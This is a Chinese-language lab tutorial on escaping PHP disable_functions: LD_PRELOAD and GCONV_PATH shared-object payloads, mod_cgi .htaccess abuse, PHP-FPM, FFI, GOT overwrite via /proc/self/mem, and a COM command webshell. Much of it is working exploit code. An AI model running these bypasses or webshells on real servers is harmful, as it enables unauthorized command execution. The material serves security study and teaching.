突破disable_functions限制執行命令上
PHP disable_functions
disable_functions是php.ini中的一個設置選項。相當一個黑名單,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。

image-20211213225432124
先來看看一般是哪些函數需要放入 disable_functions:
禁用函數功能描述危險等級system()允許執行一個外部程序并回顯輸出高exec()允許執行一個外部程序高shell_exec()通過 Shell 執行命令,并將執行結果作為字符串返回。高passthru()允許執行一個外部程序并回顯輸出高popen()可通過 popen() 的參數傳遞一條命令,并對 popen() 所打開的文件進行執行。高proc_open()執行一個命令并打開文件指針用于讀取以及寫入。高proc_get_status()獲取使用 proc_open() 所打開進程的信息。高chroot()可改變當前 PHP 進程的工作根目錄,僅當系統支持 CLI 模式PHP 時才能工作,且該函數不適用于 Windows 系統。高chgrp()改變文件或目錄所屬的用戶組。高chown()改變文件或目錄的所有者。高ini_set()可用于修改、設置 PHP 環境配置參數。高ini_alter()是 ini_set() 函數的一個別名函數,功能與 ini_set() 相同。高ini_restore()可用于恢復 PHP 環境配置參數到其初始值。高dl()在 PHP 進行運行過程當中(而非啟動時)加載一個 PHP 外部模塊。高pfsockopen()建立一個 Internet 或 UNIX 域的 socket 持久連接。高symlink()在 UNIX 系統中建立一個符號鏈接。高putenv()用于在 PHP 運行時改變系統字符集環境。在低于 5.2.6 版本的 PHP 中,可利用該函數修改系統字符集環境后,利用 sendmail 指令發送特殊參數執行系統 SHELL 命令。高phpinfo()輸出 PHP 環境信息以及相關的模塊、WEB 環境等信息。中scandir()列出指定路徑中的文件和目錄。中syslog()可調用 UNIX 系統的系統層 syslog() 函數。中readlink()返回符號連接指向的目標文件內容。中stream_socket_server()建立一個 Internet 或 UNIX 服務器連接。中error_log()將錯誤信息發送到指定位置(文件)。 |
安全備注:在某些版本的 PHP 中,可使用 error_log() 繞過 PHP safe mode,執行任意命令。低
注:eval()并非PHP函數,放在disable_functions中是無法禁用的,若要禁用需要用到PHP的擴展Suhosin。由于很多 PHP 站點往往設置了disable_functions來禁止用戶調用某些危險函數,給 Getshell 帶來了很大的不便,這里總結了以下繞過方法來繞過與突破disable_functions,歡迎大佬指正。
尋找黑名單遺漏的危險函數
disable_functions 是基于黑名單來實現對某些函數使用的限制的,既然是黑名單有時候就難免會有漏網之魚。
拿到WebShell之后可以通過phpinfo來尋找黑名單遺漏的危險函數。

image-20211229222906997
以下一些比較嚴格的disable_functions限制項:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
利用 LD_PRELOAD 環境變量
原理簡介:
LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的攻擊目的。
我們通過環境變量 LD_PRELOAD 劫持系統函數,可以達到不調用 PHP 的各種命令執行函數(system()、exec() 等等)仍可執行系統命令的目的。
想要利用LD_PRELOAD環境變量繞過disable_functions需要注意以下幾點:
能夠上傳自己的.so文件 能夠控制LD_PRELOAD環境變量的值,比如**putenv()**函數 因為新進程啟動將加載LD_PRELOAD中的.so文件,所以要存在可以控制PHP啟動外部程序的函數并能執行,比如mail()、imap_mail()、mb_send_mail()和error_log()函數等
漏洞利用條件:
?Linux 操作系統
?putenv可用
?mail or error_log 可用,本例中禁用了 mail 但未禁用 error_log
?存在可寫的目錄,需要上傳 .so 文件
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1
啟動環境:
docker-compose up -d
我們的最終目的是獲取 /flag 的內容, 這個文件是 644 權限,www-data 用戶無法通過讀文件的形式讀到內容, 需要執行擁有 SUID 權限的 tac 命令來獲取 flag。

image-20220101235220486
方法一:劫持函數
一般而言,利用漏洞控制 web 啟動新進程 a.bin(即便進程名無法讓我隨意指定),新進程 a.bin 內部調用系統函數 b(),b() 位于 系統共享對象 c.so 中,所以系統為該進程加載共享對象 c.so,想辦法在加載 c.so 前優先加載可控的 c_evil.so,c_evil.so 內含與 b() 同名的惡意函數,由于 c_evil.so 優先級較高,所以,a.bin 將調用到 c_evil.so 內的b() 而非系統的 c.so 內 b(),同時,c_evil.so 可控,達到執行惡意代碼的目的。
基于這一思路,常見突破 disable_functions 限制執行操作系統命令的思路:
1.找到一個可以啟動新進程的函數,如mail()函數會啟動新進程/usr/sbin/sendmail
2.書寫一個會被sendmail調用的C函數(函數最好不帶參數),內部為惡意代碼,編譯為.so文件,如geteuid()函數
3.運行PHP函數putenv(),設定我們的so文件為LD_PRELOAD,設置后新進程啟動時將優先加載我們設置的so文件
4.運行PHP的mail()函數,這時sendmail會優點調用我們書寫的getegid同名函數,達到劫持執行惡意代碼的效果首先查看sendmail會調用那些函數,這里我們選擇getegid函數,也可以是其他函數進行劫持
readelf -Ws /usr/sbin/sendmail # readelf只會顯示sendmial可能調用的函數,具體調用的函數應該使用strace -f 進行查看

image-20220101234332864
靶場突破:
首先在本地編寫hack.c文件,目的為顯示當前目錄下文件:
#include
#include
#include
void payload() {
system("tac /flag > /var/www/html/flag.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
將c文件編譯為so文件
gcc hack.c -o hack.so -shared -fPIC
使用蟻劍將hack.so上傳至目標靶機

image-20220101232524908
使用蟻劍在目標靶機上寫入php文件,設置環境變量并執行mail()函數
putenv("LD_PRELOAD=/var/www/html/hack.so"); # 編譯c文件后的so文件位置
mail("","","","");
?>
但是在瀏覽器中訪問.php文件,未出現flag,猜測mail函數被禁用,可以通過寫入phpinfo()查看

image-20220101233507576
sendmail也會調用error_log,修改php文件如下:
putenv("LD_PRELOAD=/var/www/html/hack.so");
error_log("a",1);
?>
瀏覽器訪問.php文件,在蟻劍中可以看到生成了flag.txt文件

image-20220101234446832
方法一:預加載共享對象
在實際情況中,很多機器尚未安裝或者禁止了sendmail功能,通常的 www-data 權限又不可能去更改 php.ini 配置、去安裝 sendmail 軟件,所以可以采用另一種方式繞過disable_function。
系統通過LD_PRELOAD預先加載共享對象,如果在加載時就執行代碼,就不用劫持函數以此繞過disable_function。
gcc允許為函數設置如下屬性,可以讓其修飾的函數在mail()函數之前執行,若它出現在共享對象中時,那么一旦共享對象被系統加載,將立即執行。
__attribute__((__constructor__)) // constructor參數讓系統執行main()函數之前調用函數(被__attribute__((constructor))修飾的函數
編寫hack.c代碼
#include
#include
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");//接收傳入的命令
system(cmd); // 執行命令
}
將c文件編譯為so文件,并使用蟻劍將hack.so上傳至目標靶機
gcc hack.c -o hack.so -shared -fPIC
使用蟻劍在目標靶機上寫入php文件,設置環境變量并執行error_log()函數
putenv("CMD=tac /flag > /var/www/html/flag.txt"); # 要執行的命令
putenv("LD_PRELOAD=/var/www/html/hack.so"); # 編譯c文件后的so文件位置
error_log("a",1);
?>
瀏覽器訪問.php文件,在蟻劍中可以看到生成了flag.txt文件

image-20220102000255462
注:unsetenv()可能在CentOS上無效,因為CentOS自己也hook了unsetenv(),在其內部啟動了其他進程,來不及刪除LD_PRELOAD就又被劫持,導致無限循環,可以使用全局變量 extern char** environ刪除,實際上,unsetenv()就是對 environ 的簡單封裝實現的環境變量刪除功能。
在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c看到了一個小技巧:
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
使用for循環修改LD_PRELOAD的首個字符改成\0這樣可以使系統原有的環境變量自動失效。
利用 GCONV_PATH 與 iconv
原理簡介:
php在執行iconv函數時,實際上是調用glibc中的iconv相關函數,其中一個很重要的函數叫做iconv_open()。
linux系統提供了一個環境變量:GCONV_PATH,該環境變量能夠使glibc使用用戶自定義的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函數的執行過程會如下:
1.iconv_open函數依照GCONV_PATH找到gconv-modules文件,這個文件中包含了各個字符集的相關信息存儲的路徑,每個字符集的相關信息存儲在一個.so文件中,即gconv-modules文件提供了各個字符集的.so文件所在位置。
2.根據gconv-modules文件的指示找到參數對應的.so文件。
3.調用.so文件中的gconv()和gonv_init()函數。
4.一些其他步驟。
我們的利用方式就是首先在某一文件夾(一般是/tmp)中上傳gconv-modules文件,文件中指定我們自定義的字符集文件的.so,然后我們再在.so文件中的gonv_init()函數中書寫命令執行函數,之后上傳php的shell,內容是使用php設定GCONV_PATH指向我們的gconv-modules文件,然后使用iconv函數使我們的惡意代碼執行。
漏洞利用條件:
?Linux 操作系統
?putenv可用
?PHP安裝了iconv相關模塊
?存在可寫的目錄,需要上傳 .so 文件

image-20220109140408196
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9
靶場突破:
首先上傳gconv-modules文件于/tmp文件夾,其內容如下:
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2 module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
在本地編寫payload.c文件,內容如下:
#include
#include
void gconv() {}
void gconv_init() {
puts("pwned");
system("tac /flag > /var/www/html/flag.txt"); //需要執行的命令
exit(0);
}
將c文件編譯為so文件
gcc payload.c -o payload.so -shared -fPIC
使用蟻劍將payload.so上傳至目標靶機的/tmp/目錄下

image-20220109152304087
編寫exp.php上傳至web目錄下
putenv("GCONV_PATH=/tmp");
iconv("payload", "UTF-8", "whatever");
?>
訪問exp.php頁面即可執行命令

image-20220109152234554
利用 Apache Mod CGI
原理簡介:
CGI:CGI ,公共網關接口,它是 Web 服務器與外部應用程序(CGI 程序)之間傳遞信息的接口。通過 CGI 接口 Web 服務器就能夠將客戶端提交的信息轉交給服務器端的 CGI 程序處理,最后返回結果給客戶端。CGI是放在服務器上的可執行程序,CGI編程沒有特定的語言,C語言、linux shell、perl、vb等等都可以進行CGI編程。
MOD_CGI:任何具有MIME類型application/x-httpd-cgi或者被cgi-script處理器處理的文件都將被作為CGI腳本對待并由服務器運行,它的輸出將被返回給客戶端。可以通過兩種途徑使文件成為CGI腳本,一種是文件具有已由AddType指令定義的擴展名,另一種是文件位于ScriptAlias目錄中。
漏洞利用條件:
?Linux 操作系統
?Apache + PHP (apache 使用 apache_mod_php)
?Apache 開啟了 cgi, rewrite
?Web 目錄給了 AllowOverride 權限
?當前目錄可寫
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/3
disable_functions比之前的多了putenv靶場突破:
若是想臨時允許一個目錄可以執行cgi程序并且使得服務器將自定義的后綴解析為cgi程序,則可以在目的目錄下使用.htaccess文件進行配置
Options +ExecCGI AddHandler cgi-script .dizzle
然后設置.dizzle結尾的shell文件(shell.dizzle)
#!/bin/bash echo -ne "Content-Type: text/html" tac /flag
將shell.dizzle的權限改為0777

image-20220103004105994
訪問shell.dizzle即可執行命令

image-20220103004931720
注:由于Windows 系統中:每行結尾是 "<回車><換行>",即 "\r";而UNIX/Linux中:每行結尾是 "<換行>",即 "",所以在寫shell.dizzle文件時必須使用手打,復制粘貼會報錯誤。
也可以使用如下EXP進行自動生成:
$cmd = "tac /flag"; //command to be executed
$shellfile = "#!/bin/bash"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\\""; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "
";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "SetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGIAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener "; //call the script
}
}
?>
瀏覽器訪問test.php后,會生成.htacess和shell.dizzle文件,文件內容與前面的是一樣的。
最后訪問shell.dizzle可以得到flag。
攻擊 PHP-FPM 監聽端口
有關PHP-FPM我在利用SSRF滲透內網主機·中一節中有提到過,不過講的并不透徹。
推薦大家可以參考一下P神的這篇文章:Fastcgi協議分析 && PHP-FPM未授權訪問漏洞 && Exp編寫 。
原理簡介:
我查閱了一些相關文章,有關利用PHP-FPM繞過disable_functions,很多都是套用P神的腳本,利用PHP-FPM未授權偽造發送請求。但是這種情況并不能繞過disable_functions,因為本質上還是原來的php解釋器來解析,還是會加載php.ini。
而使用蟻劍擴展插件的原理簡單的來講就是:利用PHP-FPM加載一個惡意的ext,使得新啟動一個PHP Server后,流量通過.antproxy.php轉發到無disabe_functions的PHP Server上,以此達成bypass。
所以這一部分我是直接使用蟻劍的擴展插件進行突破,再對其原理進行分析。
漏洞利用條件:
?Linux 操作系統
?PHP-FPM
?存在可寫的目錄, 需要上傳 .so 文件
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5
靶場突破:
在蟻劍的插件中心找到“繞過disable_functions”插件并下載安裝

image-20220105121455453
也可選擇下載源碼并拷貝至 antSword/antData/plugins/進行手動安裝。項目地址:https://github.com/Medicean/as_bypass_php_disable_functions
添加WebShell完成后,使用「繞過 disable_functions」插件

image-20220105122201864
選擇 PHP-FPM/FastCGI 模式進行

image-20220105122257482
注意該模式下需要選擇 PHP-FPM 的接口地址,需要自行找配置文件查 FPM 接口地址,默認的是 unix:/// 本地 socket 這種的,如果配置成 TCP 的默認是 127.0.0.1:9000。在本例中,FPM 運行在 127.0.0.1:9000 端口
點擊「開始」按鈕,可以看到成功上傳了一個ext、執行了某項操作與上傳了一個代理腳本。

image-20220105122552195
成功后可以看到 /var/www/html/ 目錄下新建了一個 .antproxy.php 文件。我們創建副本,并將連接的 URL shell 腳本名字改為 .antproxy.php,就可以成功執行命令。

image-20220105123104199

image-20220105123853225
原理分析:
很明顯的是蟻劍在服務器上傳了 1 個 so 庫,和一個.antproxy.php
上服務器先看下.antproxy.php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61568;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1\r";
$out .= "Host: ".$host.":".$port."\r";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r";
}
$out .= "Content-length:".strlen($post_data)."\r";
$out .= implode("\r",$headers);
$out .= "\r\r";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\r");
$response = substr($response, $pos+4);
echo $response;
核心代碼:
... ...
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61568;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
... ...
可以看到它正在與61568端口進行通信(靶場中默認沒有安裝ps工具,需要手動安裝:apt upgrade && apt install procps)

image-20220105163713565
/bin/sh -c php -n -S 127.0.0.1:61568 -t /var/www/html
看來是起了一個新的 PHP Server,-n 就是不使用 php.ini,從而實現了 bypass disable_functions。大致推測出是利用之前上傳的 so 庫實現的命令執行,然后跑了個 PHP Server。
根據擴展插件的項目倉庫(https://github.com/Medicean/as_bypass_php_disable_functions),找到主要代碼的位置: core/php_fpm/index.js 。
啟動 PHP Server 的代碼,然后生成 ext(so/dll擴展) 傳到服務器上。
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
...
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);
通過self.generateExt(cmd)生成了一個fileBuffer,然后通過下面代碼傳了上去。
core.filemanager.upload_file({
path: ext_path,
content: fileBuffer
})
構造攻擊 PHP-FPM 的 Payload,加載擴展庫:

image-20220105171654433
觸發 Payload 后,就會執行啟動一個新的 PHP Server。
后續 shell 都通過.antproxy.php 代理用 61568 的 PHP 解析,也就沒有 disable_functions 了。
那么重點就在于generateExt函數了,這個在core/base.js里面。
// 生成擴展
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}
直接對二進制數據操作,在 start 到 end 中填入 cmd(就是前面說到的命令/bin/sh -c php -n -S 127.0.0.1:61568 -t /var/www/html)。
由于沒有找到ext中so/dll的源碼,只能放在IDA中逆向一下。

image-20220105170725418
簡單粗暴,so/dll 文件給cmd留點位置,需要執行啥命令就寫啥命令進去。然后執行 so/dll 就可以執行該命令了。
利用 PHP7.4 FFI 擴展執行命令
原理簡介:
FFI(Foreign Function Interface),即外部函數接口。是指在一種語言里調用另一種語言代碼的技術。PHP在7.4版本中新增加了此擴展,PHP 的 FFI 擴展就是一個讓你在 PHP 里調用 C 代碼的技術。FFI的使用只需聲明和調用兩步。
漏洞利用條件:
?Linux 操作系統
?PHP >= 7.4
?開啟了 FFI 擴展且 ffi.enable=true

image-20220105233955193
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/8
靶場突破:
上傳EXP:
$ffi = FFI::cdef("int system(const char *command);"); # 聲明ffi,調用system函數
$ffi->system("tac /flag > /var/www/html/flag.txt"); # 執行命令讀取flag
echo file_get_contents("/var/www/html/flag.txt");
// @unlink("/var/www/html/flag.txt"); # 刪除flag.txt文件
?>
直接訪問提交即可。
劫持 GOT 表
原理簡介:
在linux系統中,procfs 文件系統是個特殊的存在,對應的是 /proc目錄,php 可以通過/proc 目錄讀寫自己所在進程的內存,將非敏感函數地址替換成glibc 中的system地址,從而執行命令,其涉及的技術叫做 GOT表劫持。
通過正常函數實現敏感行為繞過 RASP ,舉個例子,如果能將open函數地址換成system地址,那么便可以將fopen打開文件的命令,最終變成glibc調用system執行命令。
詳細原理講解可參考:
https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485666&idx=1&sn=71a0cce05637edd488cb9cccb3967504
漏洞利用條件:
?內核版本>=2.98
?PHP < 5.6
?基于www權限的php-fpm/php-cgi work進程必須有權限讀寫 /proc/self/目錄。
?open_basedir=off(或者能繞過open_basedir讀寫 /lib/ 和/proc/)
注:apache+php 由于 apache調用setuid設置www權限工作進程,/proc/self/目錄屬于root用戶,導致沒有權限讀寫。
nginx+php,對于低版本的php -fpm www權限工作進程, /proc/self/目錄屬于www用戶可以讀寫。經不完全測試,php<5.6 版本是可以使用GOT表劫持。
靶場環境:
?Linux系統:CentOS 7.6(內核版本3.10.0)
?Web服務:Nginx 1.18.0
?PHP版本:5.4.16
靶場突破:
以下EXP來源:https://github.com/beched/php_disable_functions_bypass
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
*/
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)";
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exiting";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not work";
}
echo "[*] Trying to get open@plt offset in PHP binary";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exiting";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]";
$pie_base = hexdec(explode('-', $maps)[0]);
echo '[*] PIE base: 0x' . dechex($pie_base) . "";
echo "[*] Trying to get open and system symbols from Libc";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exiting";
exit;
}
echo "[+] Got them. Seeking for address in memory";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "";
echo "[*] Rewriting open@plt address";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $pie_base + $open_php);
if(fwrite($mem, packlli($system_addr))) {
echo "[+] Address written. Executing cmd";
readfile('/usr/bin/id');
exit;
}
echo "[-] Write failed. Exiting";
利用 Windows 系統組件 COM
原理簡介:
COM(Component Object Model)組件對象模型,是一種跨應用和語言共享二進制代碼的方法。COM 可以作為 DLL 被本機程序載入也可以通過 DCOM 被遠程進程調用
C:WindowsSystem32 下的 wshom.ocx 能夠提供 WshShell 對象和 WshNetwork 對象接口的訪問,也就是提供對本地 Windows shell 和計算機所連接的網絡上共享資源的訪問
漏洞利用條件:
?Windows系統
?php.ini 中開啟 com.allow_dcom
?到 php.ini 中開啟拓展extension=php_com_dotnet.dll
靶場環境:
在Windows2008R2服務器上搭建WAMP環境。
php.ini 中開啟 com.allow_dcom
com.allow_dcom = true
因為是在 Windows,如果在拓展文件夾 php/ext/ 中存在 php_com_dotnet.dll
到 php.ini 中開啟拓展
extension=php_com_dotnet.dll
重啟服務在 phpinfo 中就能看到開啟了 com_dotnet

image-20220110183757552
靶場突破:
上傳EXP:
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //調用對象方法來執行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
使用上面的 PHP 代碼通過 COM 對象的 exec() 方法即可繞過 disable_functions 執行命令。

image-2022011018434054